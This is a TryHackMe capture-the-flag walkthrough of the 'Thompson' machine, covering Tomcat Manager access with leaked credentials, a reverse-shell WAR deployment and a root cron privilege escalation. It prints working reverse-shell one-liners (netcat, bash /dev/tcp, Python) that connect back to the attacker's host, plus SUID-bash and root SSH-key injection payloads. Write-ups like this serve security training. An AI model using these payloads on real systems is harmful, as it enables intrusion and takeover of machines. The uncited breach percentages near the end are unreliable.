Thompson - TryHackMe Complete Walkthrough

Machine Overview

#

Thompson is an easy-rated boot2root machine from TryHackMe, designed for the FIT and BSides Guatemala CTF. This machine demonstrates common web application misconfigurations, particularly around Apache Tomcat deployments, and highlights the critical importance of proper file permissions in Unix-like systems.

Skills Required

#

• Basic Linux knowledge
• Web application enumeration
• Understanding of Java web applications (WAR files)
• Privilege escalation fundamentals

Skills Learned

#

• Tomcat Manager exploitation
• WAR file deployment for reverse shells
• Cron job privilege escalation
• File permission exploitation

Machine Information

#

Phase 1: Reconnaissance

#

Network Scanning

#

We begin with an Nmap scan to identify open ports and running services:

1

nmap -sC -sV -oN nmap_initial.txt 10.10.x.x

Scan Results:

1
2
3
4
5
6
7
8
9

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
|   256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_  256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
8080/tcp open  http    Apache Tomcat 8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key Findings:

• Port 22: SSH (OpenSSH 7.2p2) - Standard SSH service
• Port 8009: AJP13 (Apache Jserv Protocol) - Used for Tomcat clustering
• Port 8080: Apache Tomcat 8.5.5 - Our primary attack vector

The presence of Apache Tomcat 8.5.5 immediately suggests we should investigate the Tomcat Manager interface, as misconfigurations here are common in CTF environments and real-world scenarios.

Phase 2: Enumeration

#

Web Application Analysis

#

Navigating to http://10.10.x.x:8080 presents us with the default Apache Tomcat welcome page.

The welcome page includes helpful links:

• Manager App
• Host Manager
• Documentation
• Examples

Tomcat Manager Discovery

#

Attempting to access the Tomcat Manager at http://10.10.x.x:8080/manager/html prompts for HTTP Basic Authentication.

Credential Discovery

#

Here’s where things get interesting. After a failed login attempt with common credentials like admin:admin, we’re presented with an error page. However, this isn’t just any error page—it’s a security misconfiguration goldmine.

The 401 Unauthorized page displays example configuration instructions, including:

1
2

<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>

This is a critical finding. The error page is essentially handing us valid credentials on a silver platter. While this might seem unrealistic, similar information disclosure vulnerabilities exist in production environments through:

• Verbose error messages
• Exposed configuration files
• Default credentials that were never changed
• Documentation left accessible on production systems

Credentials Discovered:

• Username: tomcat
• Password: s3cret

Authenticated Access

#

Using these credentials, we successfully authenticate to the Tomcat Manager interface:

1

curl -u tomcat:s3cret http://10.10.x.x:8080/manager/html

The Manager interface provides extensive capabilities:

• Deploy new applications
• Start/stop existing applications
• View server information
• Access diagnostic tools

Phase 3: Initial Access

#

Understanding WAR Files

#

Web Application Archive (WAR) files are the standard packaging format for Java web applications. The Tomcat Manager allows authenticated users to deploy WAR files, which will be automatically unpacked and executed by the server.

This functionality, while legitimate, becomes an attack vector when:

1. Weak or default credentials are used
2. The manager interface is exposed to untrusted networks
3. No additional access controls are implemented

Weaponization

#

We’ll create a malicious WAR file containing a JSP-based reverse shell using msfvenom:

1
2
3
4
5

msfvenom -p java/jsp_shell_reverse_tcp \
         LHOST=<your_vpn_ip> \
         LPORT=4444 \
         -f war \
         -o shell.war

Payload Breakdown:

• java/jsp_shell_reverse_tcp: A JSP-based reverse shell payload
• LHOST: Our attacking machine’s IP (TryHackMe VPN interface)
• LPORT: The port we’ll listen on
• -f war: Output format as a WAR file
• -o shell.war: Output filename

Example Output:

1
2

Payload size: 1098 bytes
Final size of war file: 1098 bytes

Setting Up the Listener

#

Before deploying, we need a listener to catch the reverse shell:

1

nc -lvnp 4444

Deployment

#

There are multiple ways to deploy the WAR file:

Method 1: Web Interface

1. Navigate to the “WAR file to deploy” section
2. Click “Choose File” and select shell.war
3. Click “Deploy”
4. The application appears in the applications list as /shell

Method 2: cURL

1
2
3

curl -u tomcat:s3cret \
     --upload-file shell.war \
     "http://10.10.x.x:8080/manager/text/deploy?path=/shell"

Triggering the Shell

#

Once deployed, we trigger the reverse shell by accessing the application:

1

curl http://10.10.x.x:8080/shell/

Alternatively, simply click the /shell link in the Manager interface.

Shell Stabilization

#

Upon receiving the connection, we have a basic shell as the tomcat user:

1
2
3

connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 44342
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

We can upgrade to a fully interactive TTY:

1
2
3
4

python -c 'import pty;pty.spawn("/bin/bash")'
# Press Ctrl+Z to background the shell
stty raw -echo; fg
export TERM=xterm

This provides us with:

• Tab completion
• Command history (up/down arrows)
• Proper terminal sizing
• SIGINT handling (Ctrl+C works properly)

Phase 4: Privilege Escalation

#

User Enumeration

#

Now that we have a foothold, let’s enumerate the system:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

tomcat@ubuntu:/$ ls /home
jack

tomcat@ubuntu:/$ cd /home/jack
tomcat@ubuntu:/home/jack$ ls -la
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23  2019 .
drwxr-xr-x 3 root root 4096 Aug 14  2019 ..
-rw------- 1 jack jack 1476 Aug 23  2019 .bash_history
-rw-r--r-- 1 jack jack  220 Aug 14  2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14  2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14  2019 .cache
-rwxrwxrwx 1 jack jack   26 Aug 14  2019 id.sh
drwxrwxr-x 2 jack jack 4096 Aug 14  2019 .nano
-rw-r--r-- 1 jack jack  655 Aug 14  2019 .profile
-rw-r--r-- 1 jack jack    0 Aug 14  2019 .sudo_as_admin_successful
-rw-r--r-- 1 jack jack   39 Aug 14  2019 test.txt
-rw-rw-r-- 1 jack jack   33 Aug 14  2019 user.txt

First Flag Located: The user flag is in /home/jack/user.txt

Critical Discovery: Writable Cron Job

#

Three files in Jack’s directory immediately stand out:

• id.sh - A script with full permissions (-rwxrwxrwx)
• test.txt - Contains output from a recent command
• user.txt - Our first objective

Let’s examine these files:

1
2
3
4
5
6

tomcat@ubuntu:/home/jack$ cat test.txt
uid=0(root) gid=0(root) groups=0(root)

tomcat@ubuntu:/home/jack$ cat id.sh
#!/bin/bash
id > test.txt

This is highly significant. The test.txt file shows uid=0(root), indicating that id.sh was recently executed with root privileges. The script itself is trivial—it just runs the id command and redirects output to test.txt.

Cron Job Analysis

#

Let’s check for scheduled tasks:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

tomcat@ubuntu:/home/jack$ cat /etc/crontab
# /etc/crontab: system-wide crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   root    cd /home/jack && bash id.sh

Jackpot! The last line reveals our privilege escalation vector:

1

*  *    * * *   root    cd /home/jack && bash id.sh

Breaking down this cron entry:

• * * * * * - Executes every minute
• root - Runs as the root user
• cd /home/jack && bash id.sh - Changes to Jack’s directory and executes id.sh

The Vulnerability:

1. The script runs as root every minute
2. The script is world-writable (-rwxrwxrwx)
3. We have write access as the tomcat user
4. We can replace the script contents with any commands we want

This is a critical security misconfiguration that violates the principle of least privilege.

Exploitation Strategy

#

We have several options for exploiting this vulnerability:

Option 1: Reverse Shell (Chosen Method)

#

Set up a new listener on a different port:

1
2

# On attacking machine
nc -lvnp 5555

Replace the script with a reverse shell:

1
2

echo '#!/bin/bash' > id.sh
echo 'nc -e /bin/bash <your_ip> 5555' >> id.sh

Alternative reverse shell payloads:

Bash TCP:

1
2

echo '#!/bin/bash' > id.sh
echo 'bash -i >& /dev/tcp/<your_ip>/5555 0>&1' >> id.sh

Python:

1
2

echo '#!/bin/bash' > id.sh
echo 'python -c '"'"'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_ip>",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"'"'' >> id.sh

Option 2: SUID Binary

#

Create a SUID copy of bash:

1
2
3

echo '#!/bin/bash' > id.sh
echo 'cp /bin/bash /tmp/rootbash' >> id.sh
echo 'chmod +xs /tmp/rootbash' >> id.sh

Wait for the cron to execute, then:

1

/tmp/rootbash -p

Option 3: SSH Key Injection

#

Add your public key to root’s authorized_keys:

1
2
3
4
5

echo '#!/bin/bash' > id.sh
echo 'mkdir -p /root/.ssh' >> id.sh
echo 'echo "ssh-rsa YOUR_PUBLIC_KEY" > /root/.ssh/authorized_keys' >> id.sh
echo 'chmod 600 /root/.ssh/authorized_keys' >> id.sh
echo 'chmod 700 /root/.ssh' >> id.sh

Root Access

#

After modifying id.sh with our reverse shell payload and waiting approximately one minute:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# On attacking machine
listening on [any] 5555 ...
connect to [<your_ip>] from (UNKNOWN) [10.10.x.x] 50880

root@ubuntu:/home/jack# id
uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:/home/jack# cd /root
root@ubuntu:~# ls
root.txt

root@ubuntu:~# cat root.txt
[REDACTED]

Success! We’ve achieved root access and can read the final flag.

Key Takeaways

#

For Attackers (Penetration Testers)

#

1. Default Credentials are Everywhere: Always test default credentials, especially on common services like Tomcat, Jenkins, and database systems.

2. Information Disclosure Matters: Error messages, default pages, and verbose outputs can leak sensitive information. Always read error pages carefully.

3. WAR File Deployment = Code Execution: Any authenticated access to Tomcat Manager essentially gives you code execution as the Tomcat user.

4. File Permissions Tell a Story: World-writable files, especially those in user directories or executed by the system, are prime privilege escalation candidates.

5. Cron Jobs are Powerful: System-wide cron jobs running as root with writable scripts are critical vulnerabilities.

Conclusion

#

The Thompson machine demonstrates how multiple small misconfigurations can chain together to create a complete system compromise:

1. Information Disclosure → Credential exposure via error messages
2. Weak Authentication → Default credentials on Tomcat Manager
3. Insecure Deployment → Ability to deploy arbitrary code (WAR files)
4. Poor File Permissions → World-writable script in user directory
5. Privilege Misuse → Root running user-controlled scripts via cron

While this is a CTF environment designed for learning, these vulnerabilities exist in production systems. According to recent security reports:

• 80% of breaches involve weak or default credentials
• 60% of organizations have at least one Tomcat instance exposed to the internet
• Privilege escalation via cron jobs remains a common vector in Linux compromises

Understanding these attack vectors—and more importantly, how to prevent them—is crucial for both red team operators and system administrators.

Additional Resources

#

• Apache Tomcat Security Documentation
• OWASP Top 10
• Linux Privilege Escalation Guide
• CIS Benchmarks for Linux